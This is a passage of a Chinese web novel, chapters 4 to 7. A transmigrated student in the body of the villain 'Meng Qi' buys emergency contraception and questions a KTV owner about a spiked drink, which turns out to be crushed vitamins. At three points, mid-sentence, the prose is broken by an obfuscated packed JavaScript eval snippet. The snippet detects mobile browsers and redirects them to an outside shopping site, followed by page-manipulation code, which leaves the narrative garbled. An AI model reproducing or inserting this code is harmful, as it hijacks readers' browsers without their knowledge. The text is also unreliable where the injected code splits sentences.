如果没猜错的话,这边的剧情正好走到了他前天才在那本书上看过的那一段:书中“孟弃”用计把任随一骗到一家KTV里,然后连哄带骗地让任随一喝下掺了东西的酒,之后如愿把任随一给弄上了床,两个人酱酱酿酿了一天…… 但接下来的剧情是什么样的? 孟弃慌了,因为他没看啊!前天晚上他为了尽快看到书中“孟弃”的结局,好巧不巧地把这段剧情给跳过去了,眼下他能记住的也就是九个月后书中“孟弃”会死于难产。 对了,难产!先怀孕九个月,然后难产! 想到这里的孟弃忍不住低头看了一眼自己的肚子,接着便吓出了一身冷汗。 “拜托这样的书到底是谁想穿的啊!一定不是我好嘛,请把我放回去吧!”他忍不住抱头低吼,在心里疯狂祈祷。 然并卵,因为无论他喊得多么声嘶力竭,祈祷得多么虔诚,他还是在原地站着呢,过往的路人甚至都没有人理会他,有那么一两个扭头看他的,说不定也是把他当成疯子在看。 可是一想到九个月之后他很有可能会那样死去,他倒是真希望他疯了…… 4. 第 4 章 三伏天,孟弃把自己包裹得严严实实的,弓腰塌背鬼鬼祟祟地往药店的方向走。 半个小时前孟弃逃离的那个地方确实是一家高档酒店,而且还是任氏旗下的连锁酒店,离开的时候他回头瞧过那家酒店的名字,万分确定这一点。 按照这部小说的设定来讲,任随一家是相当富有的,除了拥有开遍全国名为“任臻”的高档连锁酒店之外,还有其他日进斗金的产业,其富有程度大概能到一秒钟进账的财富都够孟弃数零数上半天的。 不仅如此,任随一这人还打小就聪慧过人,学霸人设立得稳稳的,在校期间从来都是年级第一,偶尔考一次年级第二还不是因为遇到了不会做的题目,而是为了哄他的白月光江柏溪高兴,好让江柏溪也能得一次第一名故意做错两道题目…… 不出所料的,高考时任随一依然稳定发挥,最终以全国第三的傲人成绩成功被全国第一学府华大录取了。 此外校内校外各种奖项和证书任随一更是拿到手软。 校内的自不必多说,单看任随一的成绩就知道少不了他的,校外的可就厉害了,人家不仅是跆拳道黑带四段选手,钢琴十级选手,Hackathon大奖获得者,英语达到专八水准,并且在和他爷爷日常对弈的过程中还轻轻松松拿下了围棋业余组三段证书…… 这金手指开得,直接给孟弃看得瞠目结舌的。 任随一是男主角,拥有这些金手指倒也说的过去,江柏溪作为任随一的白月光,虽然没有任随一的金手指多,但开在他身上的金手指也够让普通人羡慕和眼热的了,在看书的过程中孟弃一度觉得这本书的作者在给这俩人赋能的时候估计是写嗨了,但凡能想到的金手指全都一股脑地往她笔下的这两个角色身上安,既不考虑合适不合适,也不考虑别人会不会吐槽,整一个百分之百钛合金亲妈眼本眼。 在这位亲妈眼作者的构设下,江柏溪所在的江家和任随一所在的任家是世交。 都说宰相门前七品官,任家被设定得那么富有,江家也不遑多让就是了,所以江柏溪打小也是锦衣玉食着长大的,加之他上面有三个姐姐,而他又是江夫人年过四十才怀上的,既是江老爷子的老来子,又是江老爷子的心头肉,因此被娇养得跟什么似的,说是江氏贾宝玉也不为过。 虽如此,江柏溪却不任性也不偏执,反而温柔、开朗,随和,性格特别好,是当之无愧的白月光人选,以至于看书的过程中孟弃都被这个角色折服,由最开始的漠然变得有点儿喜欢这个角色了。 反过来再看书中“孟弃”呢,除了家世好点之外简直一无是处。 其实孟家和任家也是世交,只是相比较江家和任家的关系来看,孟家和任家的关系要稍微淡薄那么一点的,原因在于江夫人郑敏嫚是原配,和同是原配的任夫人丁怡往来密切,而现在的孟夫人李锦桐是小三上位,任夫人不愿意和她交往。 书中“孟弃”不是李锦桐的孩子,但从小被李锦桐养在身边。 常言道惯子如杀子,李锦桐养育书中“孟弃”的过程也可以说成是李锦桐捧杀书中“孟弃”的过程,因为从正式入住孟家开始李锦桐就把她全部的“溺爱”都用在了书中“孟弃”身上,外人挑不出来她的一丁点儿错,但书中“孟弃”却被她一点儿一点儿给养废了。 这一结论是孟弃从看书时的上帝视角中得出来的,截止到他过来时的剧情为止,这本书中的所有人,包括书中“孟弃”在内都还不知道他这位后妈的伪善一面。 其实小时候的书中“孟弃”也是乖巧可人聪明伶俐的,但在他后妈的纵容下,长大后的书中“孟弃”就嚣张跋扈到极致了,和小时候简直不能比,打眼一看就是判若两弃。 好在书中“孟弃”也不是全然废了,至少学习上的那股聪明劲儿还在,虽然他的成绩比不上任随一和江柏溪那样优秀,但在班级里也不是吊车尾的存在。 而且鉴于小时候一起玩耍的情谊在,任随一偶尔还会冷下脸来训斥他几句,好借机约束约束他的行为掰正掰正他的性子,希望他别歪得太厉害。江柏溪却早就避他如蛇蝎了,轻易不会和他多说一句话。 书中“孟弃”虽跋扈,但也知道任随一训斥他的原因是为他好,同时他又不是那种愿意拿自己的热脸去贴别人冷屁股的人,所以久而久之,他就烦江柏溪烦得要死,爱任随一爱到魔障了。 总而言之,这三个人凑在一起那就是孽缘啊孽缘! 顶着炎炎烈日,拖着疲惫不堪的身体,孟弃总算在力竭之前找到了一家药店,在看见药店店招的那一刻,他就像是在他乡遇故知一样激动到差点儿落泪。 在这里他才是真正意义上的孤儿,没有亲人朋友,所有的事情只能靠他自己摸索着去做,天知道他在寻找药店的过程中有多无助,他真的很想回家,很想回到爷爷奶奶贺聪和王博远的身边…… 但,大概也只有天知道他要怎么做才能回去。 一想到自己即将要买什么药,站在药店门口的孟弃猛吸一口气,临进门之前他又透过那副遮住他半张脸的墨镜往他的身后看了又看,待确定周围没人注意他之后,他如闪电般溜进药店里面,站在柜台前局促不安地对着一脸懵的店员说,“您好,有避孕……避孕药吗?” 人在心虚的时候总是容易忽视掉越大大方方的,才越不容易惹人怀疑…… “有的先生,请问您想要哪种避孕药呢?您有常用的品牌吗?”知道孟弃不是精神失常的顾客之后,店员一秒钟恢复职业假笑,语气温和地询问孟弃。 像孟弃这种包裹严实带着一身偷感来买特定药的人她应该是见过不少,经过最初的怀疑之后也就见怪不怪了,她大概误以为孟弃也是那种偷尝禁果后来给小女友买药的小青年——除了紧张之外,脸上从始至终都带着一股怕被人看破心事的惶恐和害羞。所以她用一种“我已经看破但我不会说破的”姿态看着孟弃,希望能帮孟弃减轻心理负担。 可孟弃的心思都在“避孕药竟然还分很多种”上面,压根没注意到店员眼里那抹洞悉一切的神情,他站在柜台前兀自纠结了好一会儿,之后才装作一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467778|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副很懂的样子回答店员说,“拿药效最强的那种就好。” “那您是想要口服的还是注射的?”店员又微微笑着抛出来新的问题。 这…… 对于这个全然陌生的问题,孟弃只思考了一秒钟就不假思索地对店员说,“口服!我要口服的!”这会儿他真的是疼怕了,绝对不允许再有任何一根针扎在自己身上! “好的先生,推荐给您这款,24小时内都能起效果的哦,”店员转身拿了一盒药递给孟弃,并耐心地把使用方法教给他,然后又问,“您怎么付款?” “现金。”孟弃说着就递出去一张百元大钞。 得益于书中“孟弃”有在钱包里存放现金的习惯,所以孟弃才不至于像个流浪汉似的流落街头,他用那些现金为自己重新买了一套衣服,又买了帽子和墨镜,乔装一番之后才来的药店。 这样做的原因倒不是怕别人瞧见他来药店买药,毕竟就算别人知道他买了什么药,也一定想不到他要怎么用,并且鉴于他日常的行为表现,他们无非是劝他两句小小年纪不要在外面乱搞之类的。 他之所以这么做是怕遇到“熟人”,因为截止到目前为止他只认识任随一,至于其他的那些甭管是真熟还是假熟的“熟人”,除非对方先自报家门,不然他一个可都认不出来,万一遇见了一定会露馅的,到时候再把他当成疯子给关进精神病院就惨了!他可不是杞人忧天,就他所知道的“他”后妈那点儿小心思,不一定做不出来。 现在是能拖一天是一天吧,他得先试试看能不能找到破局的办法。 不过现在他的脑子特别乱,还没有想到更好的办法。 书中“孟弃”的上衣口袋里除了有钱包以外还有一部手机,可惜需要输入密码才能解锁,既不能用指纹解锁也不能用面部解锁。 不知道孟大少爷为什么要选这么古朴又不便捷的锁屏方式……如果能把手机打开就好了,说不定可以从中获得关于这里的更多讯息,搞不好破局的办法就在这部手机里呢!孟弃越想越激动。 但眼下他有更重要的事情要做,给手机解锁的事情先往后放一放。 买好药之后孟弃转身去到隔壁的奶茶店里买了一杯冷饮,从冷饮店出来后他又马不停蹄地拐进了旁边的小胡同里,计划就着冷饮把避孕药给吃了,等把药吃完之后再去找家维修手机的店铺试着给手机解锁。 但说时迟那时快,他才把冷饮杯的盖子打开,还没来得及把药盒从口袋里拿出来呢,这时就有人突然在他背后叫他,“孟少!您怎么在这儿啊,让我这一通好找!” 吓得他手一哆嗦,冷饮杯啪嗒一声就掉在了地上,砰一声炸开了一朵绚烂的小水花,待水滴全部落回地面之后又晕成了一团似花非花的墨色图案。 杂乱、诡异,就如他眼下的处境。 谁啊!烦不烦人啊!就不能晚一秒钟过来嘛! 孟弃简直欲哭无泪,也不想回头去看是谁在喊他,反正看了也不认识,他只想赶紧消失,最好能趁机回到现实世界去…… 5. 第 5 章 看孟弃背对着他站在原地久久不动,朝孟弃喊话的那人明显比孟弃还要慌,估计以为是孟弃故意不理他的,于是他赶紧上前一步继续朝孟弃喊话,“孟少?是我啊,梁文开,梁子,阿开,您不记得我了?” 我应该记得你吗? 孟弃又烦又慌,但仍然在心里给自己打足气,强迫自己镇定下来,然后缓慢转身,循着记忆中小说里描写得那样,用一种不可一世的眼神看向眼前人,说出口的话里也带着冰碴,“哦,是你啊,有点儿印象。” “您是贵人多忘事儿,理解理解,”自称梁文开的那人见孟弃终于搭理他了,忙点头哈腰地向孟弃说明来意,生怕晚一秒钟不开口说话孟弃就不给他说话的机会了,“孟少,是这样的,蛋哥那里遇到点儿麻烦想请您过去一趟,您看您现在有时间吗?” 时间是有一大把,但,蛋哥又是哪个啊? 陌生的名字一增加,孟弃更烦了,现在的他是一点儿都不想再见任何一个可能导致他露馅的“陌生人”。 况且他心里一直记挂着还没来得及吃下去的避孕药呢,因此更是烦上加烦再加烦,之后不用费心思伪装,只消眉头一皱,也带给眼前人一种他很不开心最好不要惹到他的王霸之气来。 梁文开见状立马塌下腰来赔小心,“孟少,委屈您跟我走一趟吧,您不去的话蛋哥他绝对饶不了我,您就当可怜可怜我,成不?” 我可怜你,谁来可怜我…… 孟弃烦闷地闭了闭眼睛,再睁开时就有了主意,他就势撩起眼皮瞥了梁文开一眼,继续冷着声音问他,“你知道你家蛋哥找我的原因吗?” 真心话,对于普通人来说这酷霸拽的人设造型真的很难凹,除了面部表情要到位之外,眼神戏和周身的气质也是缺一不可的,只凹了这一会儿功夫孟弃就觉得他的嘴角都绷到抽搐了,这还只是面对一个小喽啰的时候,真不知道等下见到所谓蛋哥时自己该怎么办,光是随便想想人就麻了。 早知道有这么一天,当初就该咬着牙一字不落地把那本书读完,那样的话至少书中“孟弃”说过什么做过什么,他能做到大概有数,也不至于在这个时候抓瞎。 孟弃那边自顾自后悔,梁文开这边见孟弃口风松动,立马高兴得跟什么似的,接着便竹筒倒豆子一样把前因后果都说给孟弃听了。 原因主要还是出在书中“孟弃”身上。 书中“孟弃”想把任随一骗上床,就得先把任随一骗出来,但因为平时他总有事没事地找江柏溪的麻烦,最终导致把江柏溪当白月光捧着的任随一并不怎么愿意搭理他,在这种前提下凭他自己还真不一定能把任随一给约出来,于是他就把主意打到了蛋哥,也就是钱德安身上去了,想让钱德安出面帮他约任随一,还想让钱德安找人提前给任随一要喝的酒里加点儿料。 钱德安经营着一家名叫金高粱的高档KTV,有点儿夜总会那性质,接待的大都是非富即贵的那类人。但因为才刚经营几年,根基扎得还不够稳,现阶段正是努力巴结钱权人士的时候,书中“孟弃”朝他递出来一枝橄榄枝,他没道理不接住,于是才有了书中“孟弃”的得偿所愿。 当然,钱德安并不是缺根筋的傻子,书中“孟弃”找他帮忙的时候他可是专门问过原因的,当时书中“孟弃”告诉他让他帮这个忙的原因是书中“孟弃”正在和任随一闹别扭,特想找个机会向任随一道歉,但任随一却一直各种推诿避而不见,书中“孟弃”实在没办法才出此下策。 作为常年混在京市的人,钱德安当然知道书中“孟弃”和任随一的关系,人家哥俩就算再怎么闹别扭,那也比和他这个外人的关系铁数倍,思量一番后钱德安觉得这个忙他可以帮,而且他还挺乐意做这俩人中间的梯子的,搞不好飞黄滕州指日可待的法门就在这里。 但千算万算,没算到智者千虑必有一失,玩儿鹰的终被鹰啄了眼睛,钱德安属实没想到他还是被书中“孟弃”给坑了一把大的! 据梁文开说今天一大早任随一就把电话打到钱德安这里来了,先是把钱德安骂了个狗血淋头,之后就让钱德安把昨天晚上给他端酒的那个人交出来,不然他钱德安的KTV就等着关门大吉吧。 “所以孟少啊,您昨晚究竟对任少做了什么?让他一清早就朝我们蛋哥发那么大的火?”在去找钱德安的路上,梁文开小心翼翼地开口问孟弃。 孟弃:…… 十八禁啊,说出来吓死你。 孟弃忍不住在心里翻了个白眼儿,心说他不光朝你的蛋哥发火了,他也朝我发火了好吧,我和你的蛋哥是一样的处境,我找谁说理去。 为了让梁文开闭上嘴巴安静下来,孟弃通过车内后视镜眯着眼睛看了开车中的梁文开一眼,开口说话时还带着一股子不容忽视的冰霜感,“有些事情你最好少打听。” 梁文开闻言一怔,立马点头如捣蒜,“好的孟少,我这人就是嘴太碎,您就当我刚刚放了一个屁吧,甭搭我的茬。” 孟弃:…… 该说不说不想回答问题的时候这霸总人设真的很好用,而且因为装逼的推背感太强了,好像还有那么一点儿成瘾性。都说由奢入俭难,不知道等他回到现实世界之后还能不能适应他的普通人身份…… 嗐,是被这本书的作者影响到了吗?他的思维怎么也变得这么恢恑憰怪了,孟弃默了。 一进KTV的大门就被一股凉风扑了个满面,孟弃一个没防备,鸡皮疙瘩瞬间起了一身,但他为了维持住霸总人设,硬是压制住了打冷颤的本能冲动,然后冷着脸朝向他快步小跑过来的一个壮汉抬了抬下巴,算是打过招呼。 不出意外的话,眼前这位浑身腱子肉累得直喘粗气的壮汉应该就是梁文开口中的蛋哥,钱德安了。 孟弃不确定是不是钱德安,只能先装作一脸不爽的样子等对方先说话。 那人果然是钱德安,对着孟弃开口说话时比梁文开硬气不少,但依然带着小心翼翼的谨慎,“孟少,您可算来了!这次得换您来帮帮我,不然我这盘子可就保不住了!” “嗯,你说。”孟弃故作镇定地搭了一句。 这是孟弃在来的路上想到的办法,就是把主动权丢给钱德安,看他那边有没有想出来合适的解决办法。 反正他自己就是一个脑袋空空的异世人,面对全然陌生的人和人际关系,就算他能思考,也思考不出来什么有参考意义的东西,那还不如干脆不思考,让别人去思考。 如果他还要在这里待很久,但愿他能尽快找到破题之法、像真正的书中“孟弃”那样游刃有余地处理问题吧,孟弃偷偷地想。 钱德安在他的啤酒肚上揉了两圈,然后浅笑一声,靠近孟弃一步说话,“孟少,我觉得吧再怎么说您和任少也是发小,您俩之间能有什么隔夜仇呢对吧,按照我的意思呢,您这次要是做得确实过分了点儿,就主动给任少打个电话道个歉呗,说不定也就是一两句话的事儿,说开就完了。” 可孟弃知道并不是一两句话就能解决的事儿! 他心虚地眨了两下眼睛,之后快速瞟了钱德安一眼,压紧了嗓子说,“嗯,有道理,不过我得先问明白昨晚你这边儿是怎么个情况?他让你交出去的人是谁?” “孟少唉,您说这话是怎么个意思?打算过河拆桥吗?”孟弃才问完两句话,钱德安瞬间就不淡定了,站直身体的同时脸色也跟着暗下来,挺唬人的,看得孟弃有点儿发怵,生怕他一言不合就开打。 那一条一条的腱子肉,谁能打的过他啊…… 但关键时刻孟弃想到了书中“孟弃”的身份,那可是就算给钱德安十个胆子也不敢动他一根手指头的存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467779|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,所以他很快就镇定下来了,语气没什么起伏变化地回对德安说,“我是那种人吗?我的意思是说我得了解清楚事情的经过才好去找任随一。” “事情的经过?您不是知道吗?”钱德安先是反问孟弃一句,接着又说,“我可都是按照您的吩咐做的。” 想到书里对这段剧情的描写,孟弃眉心一跳,心也跟着一紧,忍不住脱口而出,“你真给任随一的酒里下料了?” 如果是真的,这事情可就难办了,但凡任随一死咬着钱德安私下里售卖违禁品这种事情来撒气,大罗神仙来了也救不了他啊,搞不好就连他孟弃都得跟着进去喝一壶。 但这时候钱德安突然挠了挠头,然后一脸心虚、又有点儿得意地向孟弃坦白,“您之前说让我想办法弄点让人沾了就没劲儿的东西来,我当时碍于面子一口答应了,但您想啊,我可是做正经生意的守法好公民,去哪儿弄那种东西,所以我就让手下去药店买了一瓶维生素片,碾碎了混在高度白酒里给任少端过去了,想着这事儿能成就成,不成……不成也就是惹您一个不痛快,您大人有大量的,应该不会像任少那样为难我。” 言外之意就是柿子专挑软的捏,宁可惹您孟少不高兴也不能惹他任少不高兴,孟弃撇了撇嘴,心想他和任随一的社会地位在这里可是高下立判了。 钱德安快速瞧了孟弃一眼,见他的表情没什么变化,才又继续往下说,“谁知道任少他那么不胜酒力啊,才喝完两杯白酒就醉过去了,那效果倒是和您想要的一模一样。” 孟弃:…… 可以了,倒是不用一直把责任往“我”身上推。 “唉,这事儿坏就坏在您不是去向任少道歉的,而是又去招惹他的,”钱德安语气一转,似是埋怨起孟弃来了,“早知道……现在说什么都晚了,事实就是您把我给害惨啦!您是不知道,早上接到任少电话的那会子我都想让阿开给我找把刀来,我自个儿抹脖子算了……” “我看你这红光满面的,不像是发愁的样子。” 而我才是被“我”害惨的那个人,恨不能找把刀抹脖子,孟弃忍不住在心里吐槽着,但面儿上还要维持住高冷范儿和钱德安周旋,“先不说这些,你这儿有会修理手机的人吗?我把手机密码给忘了,手机打不开,成板砖了。” 打不开手机也就意味着联系不上任随一,联系不上任随一也就意味着解决不了钱德安的问题,孟弃不明说,钱德安也懂。 “手机密码忘啦?您也喝酒喝多导致断片儿了?”钱德安狐疑地看了孟弃一眼,接着三连问,“这不是您为了不联系任少故意找的借口吧?” 孟弃:…… “是真的不记得密码了。”虽然被钱德安猜中了不想联系任随一的心思,但孟弃当然知道不能承认,于是只挑着回答了前面那个问题,想了想,又为突然不记得手机密码编了个理由,“昨天晚上和任随一打了一架,脑袋磕地板上磕坏了,大概磕成间歇性失忆症了吧,想了半天手机密码就是想不起来。” 理由一编完,孟弃就忍不住在心里偷偷给自己竖了个大拇指,这理由想得妙啊,磕坏脑袋导致个间歇性失忆症什么的,有理有据,谁会反驳?以后就用它了! 反正是不是真的是在和任随一打了一架后导致的脑子出问题,别人也不可能去找任随一核实,就算去找,估计任随一也不会把实情讲出来,毕竟他要顾及他的白月光呢,孟弃赌任随一只能吃这个哑巴亏。 越想越激动,孟弃干脆朝钱德安招手,底气十足地对他说,“还得再麻烦你去找个认识我的人来和我聊聊,刺激刺激我,试着看看不去医院的话我能不能自己好起来。” 钱德安有些无语地看了孟弃一眼,估计是后悔给自己找回来一个祖宗吧,事儿没办成不说,还得先贡献出去两个人伺候他。 6. 第 6 章 钱德安先把孟弃带到一个宽敞明亮的大包间里安顿好,没一会儿又依着他的要求给他送过来两个人。 来的这两个人里,其中一个还算是老熟人,梁文开,据说他以前在通讯城工作过一段时间,会一些简单的手机维修技术,像是开锁啊刷机啊都不在话下,他过来的目的是帮孟弃修手机。 另外一个是在这家KTV里头干兼职的,名叫祁运,据说是书中“孟弃”的校友,虽然没和书中“孟弃”说过话,但却知道很多和书中“孟弃”有关的事情。 先前不是说过书中“孟弃”于学习之道上还算灵光么,高考的时候他发挥正常,所以现在的他也是正儿八经的准大学生一枚,虽然就读的学校比不上任随一所在的学校名气高,但在京市里也能排得上名号。 钱德安安排过来的这位名叫祁运的工作人员就是书中“孟弃”的校友,俩人虽不同班,但他对书中“孟弃”的了解却不少。 来之前祁运曾自告奋勇地对钱德安说,“孟家大少爷可是我们学校里的风云人物,我经常能从不同的同学口中吃到这位孟家大少爷的瓜。” 对钱德安来说,有这句话就够了,他才不管祁运掌握的内容对不对孟弃的胃口,这可不在他的考虑范围之内,反正孟弃要他找的人他给找来了,已经完成了任务,至于聊多聊少的,孟弃自己看着办呗。 对他来说现在最要紧的事情是梁文开能尽快把孟弃的手机给修好,好让孟弃赶紧去安抚任大少,那位才是他蛋哥真正要捧着的财神爷! 梁文开当着他的面儿把胸脯拍得邦邦响,“蛋哥,您擎好吧!” 祁运和梁文开是一起来的孟弃所在的包间,推门而入的时候祁运慢梁文开一步,等梁文开那边都和孟弃打完招呼了他才从梁文开身后走出来。 见到祁运的一刹那孟弃只觉得眼前一亮,紧接着便是鼻子一酸,下一秒那委屈感便如同惊涛骇浪一样朝着他席卷而来,砸得他瞬间就红了眼眶。 这个祁运长得和他的好朋友王博远太像了!简直就是一个模子里刻出来的!如果祁运再矮上五公分的话,那他绝对就是王博远本远! 此时此刻,孤身在这里挣扎的孟弃一下子就体会到了“他乡遇故知”的愁肠滋味,眼眶发酸的同时脑子里也混沌成一片,除了想立马冲过去和“王博远”抱在一起先痛哭一场外,再也生不出来其他任何想法。 看见“王博远”的瞬间,孟弃对他爷爷奶奶的牵挂和思念猛地就从他的内心深处喷涌而出,然后快速地和他对这个世界的恐惧以及茫然交织在一起,形成一面看不透也推不动的墙,堵得他心里难受极了,也委屈极了,更害怕极了,这一刻他是真的真的很想抱住王博远放声大哭的! 但前提是这个“王博远”得是真正的王博远才行。 关键时刻那五公分的身高差让孟弃保持住了基本的理智,意识到眼前的“王博远”并不是他的好朋友王博远之后,他便在梁文开和祁运注意到他的异常行为之前率先扭过脸去假装咳嗽,期间更是频繁眨眼睛,好尽可能在最短的时间内把涌上来的婆娑泪意给眨回去,待神情恢复如常后又适时停下咳嗽,并自然而然地把脸转回来,同时朝祁运抬了抬下巴,绷着声音问对方,“叫什么名字?多大了?” 虽然紧张到要死,但孟弃告诉自己现在可不是紧张的时候,他得保持住冷静自持的架势才行,绝不能让梁文开他们看出来他的破绽。 但他还是太年轻。 饶是孟弃伪装得再好,梁文开也还是注意到了他的反常,特别是他看见祁运的瞬间陡然睁大的眼睛以及倏然坐直的身体,还有之后一系列往回找补的假操作,这些细微动作在老油条梁文开看来全都是大问题。 好在梁文开并不知道孟弃的真实想法,他以为这是孟弃被祁运惊艳到之后出现的反常行为,意在掩盖孟弃对祁运着迷的事实。 来钱德安这里玩儿的人,十个里头能有八个都被祁运迷倒过,这在梁文开看来是很正常的一件事情,如果孟弃在看到祁运时没反应那才是真的反常呢。 祁运本身长得就好看,但在好看的基础上他不仅精心修剪过眉毛,还画了淡粉色的眼影,且一张性感的M唇上也被他细心涂上了亮闪闪水润润的同色系口红,最后在包间内暖色系灯光的映衬下,青春洋溢又性感魅惑的感觉彼此纠缠又无限放大…… 这样子的祁运,无论对男人还是女人来说,都是极具诱惑力的。 就是不知道平日里的祁运就是做此打扮的,还是为了来找他专门打扮过的,孟弃没往这方面想,也压根想不到这个层面,此时的他正震惊于祁运和王博远如此相像上面,因此故意盯着祁运多看了几眼,然后就发现其实祁运和他的好朋友王博远并没有那么像,至少他们两个人给人的感觉是完全不一样的,也就是孟弃一开始时太激动才把祁运错认成了王博远。 之后孟弃又盯着祁运看了两眼,越看越失望,因此他眼里那份老乡见老乡的激动之情也就逐渐消失不见了。 前后也就几秒钟,欣喜若狂的孟弃就完完全全地变成了冷若冰霜的“孟弃”,他这一变化直接就让梁文开和祁运同时心慌起来。 梁文开这边已经先入为主地会错了孟弃的意思,这会儿见孟弃冷下脸来了,就以为是孟弃嫌祁运回答问题时回答慢了闹脾气呢,因此他赶紧小幅度地用自己的肩膀碰了碰祁运的肩膀,示意祁运赶紧说话,好好把握住眼前的机会。 来这里工作的少男少女们就没有几个不缺钱的,如果祁运能就此傍上长相俊俏且出手大方的孟家大少爷,那好日子还不招手就来么,哪还用每天提心吊胆地在这里混日子! 而且俗话说一人得道鸡犬升天,祁运若是在他的帮助下混好了,那他也就有混出头的日子了。 祁运接收到梁文开的信号后,先是不动声色地用眼角余光扫了梁文开一眼,接着就快速将视线移回到孟弃身上,然后笑着开口回答孟弃,“回孟少,我叫祁运,祁是祁连山的祁,运是好运的运,今年刚满20,正在读大二,巧的是和您是校友呢,咱俩同校同级,但不同系。” 什么? 大…大…大二?! 因为祁运的话,孟弃一时呆住了。 孟弃倒是知道书中“孟弃”准大学生的身份,但他不记得作者写过书中“孟弃”正读大二,所以他就下意识觉得书中“孟弃”和他一样读大一,现在知道了事实并非是他想的那样,他真的蛮震惊。 书中“孟弃”比他高一级,他担忧的是他并没上过大一的课程,那大二的课程能跟得上吗?等考试的时候迎接他的不会是挂科的命运吧? 一旦挂科,也就意味着他露馅的可能性就更大了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467780|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毕竟一直以来书中“孟弃”的成绩并不差。 陷入沉思的孟弃又习惯性把眉头皱了起来。 他这一皱眉不要紧,梁文开和祁运的心都提到了嗓子眼儿。 祁运怕自己说错哪句话了惹孟弃不高兴,然后就没有然后了;梁文开则担心孟弃会不会在怪蛋哥招大学生来打工,然后去找蛋哥的麻烦。 祁运和梁文开对视一眼,皆从对方眼中看见了慌乱,见孟弃还是紧锁着眉头不说话,祁运豁出去般深吸一口气,然后小心翼翼地向孟弃道歉,“孟少,对不起啊,是我想错了,我自罚三杯请罪,您别不开心。” “嗯?”思绪被打断,孟弃茫然地看向祁运,反问他,“为什么要道歉?你想错什么了?” “我不该以和您是校友而沾沾自喜,您身份尊贵,是天上的祥云,而我就是一穷学生,是地底的淤泥,哪能高攀得上您……” 祁运越说声音越低,最后那句“高攀不上您”都要低入尘埃里去了,听的孟弃一阵接一阵难受。 如果不是穿进这部小说里来,他孟弃不也是穷学生一个嘛,说不定也会为了生计去找各种兼职来做,不排除和祁运一样在这类声色场所里做兼职,谁又比谁高贵了。 再说了,就算他是真正的书中“孟弃”,他也不觉得他就比祁运高贵,都是一个脑袋两条腿的人,打哪儿论起啊。 孟弃匆忙摆手解释,“我没有因为你不开心,刚刚走神的原因是想到其他事情上去了,和你没关系。” “真的吗?”祁运似是不信,反问孟弃时语气里仍带着一丝不易察觉的忐忑。 孟弃可见不得酷似王博远的人难过,便用力点头道,“比珍珠还真。” 听孟弃这么说,祁运立马转悲为喜,嘴角重新绽开微笑道,“那就好,您不知道听蛋哥说是您要找人聊天时我有多高兴!因为一直以来您都是我的偶像,在学校里有好几次遇见您时我都想上前跟您打招呼,但是一直没敢行动。” 孟弃:…… 真的假的?书中“孟弃”竟然这么厉害的吗?孟弃表示不太信,如果他真这么厉害,又这么有钱,为什么最后还混了个惨死的结局呢? 孟弃还没学会像真正的霸总那样隐藏心事,这会儿所有的疑虑全都表露在脸上,但祁运看见后却丝毫不受影响,继续向孟弃表达他的仰慕之情,“大一迎新晚会那天您登台唱了一首歌您还记得吗?虽然您说那是您自己填的词自己编的曲,而且也只唱过那一次,但是我至今都还记得那首歌的歌词和旋律!我特别特别喜欢那首歌,总想着有机会时当面唱给您听。” 孟弃:…… 先不说他记不记得这件事儿,就说吧,那本小说里也没写书中“孟弃”还会编曲作词唱歌啊!就他这五音不全的破锣嗓子,不得分分钟露馅么! 这金手指开得,可真让人惆怅…… 孟弃只能狠下心来无视祁运激动到脸色绯红的样子,淡淡开口道,“是吗?我不记得了。你知道的我把脑子给摔坏了,忘记了很多事情,最后能不能记起来还得看最终的恢复情况。” 只一瞬间祁运就像被人兜头泼了一盆冷水,脸上激动的神色倏地就散干净了,同时散去的还有眼底的那抹光。 他看着孟弃张了张口,最后失望地说道,“对哦,蛋哥跟我说过的……” 7. 第 7 章 瞧着祁运那一脸被打击过头快要碎掉的样子,孟弃也于心不忍,特别是这个祁运还顶着一张酷似王博远的脸,孟弃觉得再让祁运继续难过下去,他自己都要跟着祁运碎一碎了。 一直以来王博远在他和贺聪之间都是充当着和事佬的角色。 而和事佬可不是谁都可以胜任的,那必须是脾气秉性都特别好,还要有足够耐心的人才能做到,王博远就是这样的人。 在孟弃的记忆里,王博远就没冲他发过一次脾气,无论孟弃什么时候见王博远,王博远都是挂着一脸和熙的笑,像个发着光的太阳一样,让从小到大饱受欺凌的孟弃每一分每一秒都能感受到来自亲情以外的温暖。 孟弃眷恋这份温暖,他喜欢和王博远做朋友。 